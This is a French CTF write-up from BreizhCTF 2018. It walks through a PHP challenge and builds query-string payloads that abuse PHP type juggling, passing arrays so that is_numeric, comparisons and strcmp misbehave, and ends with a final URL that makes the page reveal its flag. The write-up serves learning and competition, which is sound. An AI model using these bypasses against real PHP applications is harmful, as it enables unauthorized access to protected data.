BreizhCTF - Kaaris (Misc)
Hier se tenait le BreizhCTF 2018 à Rennes, se fut notre première participation et nous en sommes repartis fatigués (18h - 8h) mais en ayant passé un excellent moment. Beernznash est classé 28⁄60 malgré nos 1600 points et des brouettes.
Je n’ai malheureusement pas sauvegardé l’énoncé des épreuves. Ce chall reposait intégralement sur les propriétés de fonctions PHP précises ainsi que des types PHP |
---|
http://xxx.xxx.xxx.xxx:yyyy |
Der Code
<?php
show_source(__FILE__);
$i01=0;$i02=0;$i03=0;
$a=(array)json_decode(@$_GET['kaaris']);
if(is_array($a)){
is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL;
if(@$a["Jte_laisse_tirer_sur_ma_chicha"])
{
($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;
}
if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){
if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah");
$pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
$pos===false?die("brrrrah"):NULL;
foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
$val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL;
}
$i02=1;
}
}
$c=@$_GET['meufs'];
$d=@$_GET['seufs'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL;
strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;
}
}
if($i01 && $i02 && $i03){
include "flag.php";
echo $FL4G;
}
?>
Die Analyse
On remarque via ce moreceau de code, que pour afficher le flag il sera nécessaire que ces 3 variables soient différentes de 0.
if($i01 && $i02 && $i03){
include "flag.php";
echo $FL4G;
}
Pour cela il est nécessaire de remplir une liste de conditions basées sur un paramètre d’URL au format JSON qui sera converti en tableau PHP.
$i01
$a=(array)json_decode(@$_GET['kaaris']);
if(is_array($a)){
is_numeric(@$a["Jte_laisse_tirer_sur_ma_chicha"])?die("brrrrah"):NULL;
if(@$a["Jte_laisse_tirer_sur_ma_chicha"])
{
($a["Jte_laisse_tirer_sur_ma_chicha"]>2017)?$i01=1:NULL;
}
}
La valeur de la clé Jte_laisse_tirer_sur_ma_chicha
ne doit pas être de type numérique et être plus grande que 2017 : on utilise ainsi un tableau
php > var_dump(is_numeric([5]));
bool(false)
php > var_dump([5] > 2017);
bool(true)
php >
http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5]}
$i02
if(is_array(@$a["et_tu_veux_plus_me_rendre_le_tuyau"])){
if(count($a["et_tu_veux_plus_me_rendre_le_tuyau"])!==7 OR !is_array($a["et_tu_veux_plus_me_rendre_le_tuyau"][0])) die("brrrrah");
$pos = array_search("Diarabi, diarabi, diarabi, ma chérie", $a["a2"]);
$pos===false?die("brrrrah"):NULL;
foreach($a["et_tu_veux_plus_me_rendre_le_tuyau"] as $key=>$val){
$val==="Diarabi, diarabi, diarabi, ma chérie"?die("brrrrah"):NULL;
}
$i02=1;
}
et_tu_veux_plus_me_rendre_le_tuyau
doit :
- être un tableau
- doit être d’une taille de 7 items
- le premier item doit également être un tableau
a2
doit être un tableau contenant : “Diarabi, diarabi, diarabi, ma chérie” et aucune des valeurs de et_tu_veux_plus_me_rendre_le_tuyau
doit contenir “Diarabi, diarabi, diarabi, ma chérie”.
http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5], "et_tu_veux_plus_me_rendre_le_tuyau":[[],2,3,4,5,6,7], "a2":["Diarabi, diarabi, diarabi, ma chérie"]}
$i03
$c=@$_GET['meufs'];
$d=@$_GET['seufs'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("brrrrah"):NULL;
strpos(($c[0].$d), "Diarabi, diarabi, faut qu'on fasse du wari")?$i03=1:NULL;
}
}
Ici la première condition impose que $c[1] soit égal à $d (strcmp renvoie 0 en cas d’égalité) et que $c[1] soit différent de $d. Cela est paradoxal deux éléments ne peuvent être égal et différent.
Il faut donc s’arranger pour que strcmp
renvoie 0 en mettant deux valeurs différentes. Coup de chance je me rappelais avoir vu un tweet expliquant qu’en donnant un tableau en paramètre à strcmp celle-ci générait une erreur et renvoyait 0 !
&meufs[1][]=a&seufs=x
Secondement $d concatené à $c[1] ne doit pas contenir 3 ou 1 ou c, simple.
Enfin $c[0] concatené à $d sera la chaine dans laquelle on va chercher “Diarabi, diarabi, faut qu’on fasse du wari”. Strpos() renvoie l’offset du motif dans la chaine, pour que $i03 soit égal à 1 le motif doit être présent un caractère après le début :
&seufs=i&meufs[0]=XDiarabi, diarabi, faut qu'on fasse du war
Payload final
http://localhost/CTF/bzh.php?kaaris={"Jte_laisse_tirer_sur_ma_chicha":[5], "et_tu_veux_plus_me_rendre_le_tuyau":[[],2,3,4,5,6,7], "a2":["Diarabi, diarabi, diarabi, ma chérie"]}&meufs[1][]=[]&seufs=i&meufs[0]=aDiarabi, diarabi, faut qu'on fasse du war
Merci encore aux orgnisateurs et félicitations aux équipes participantes !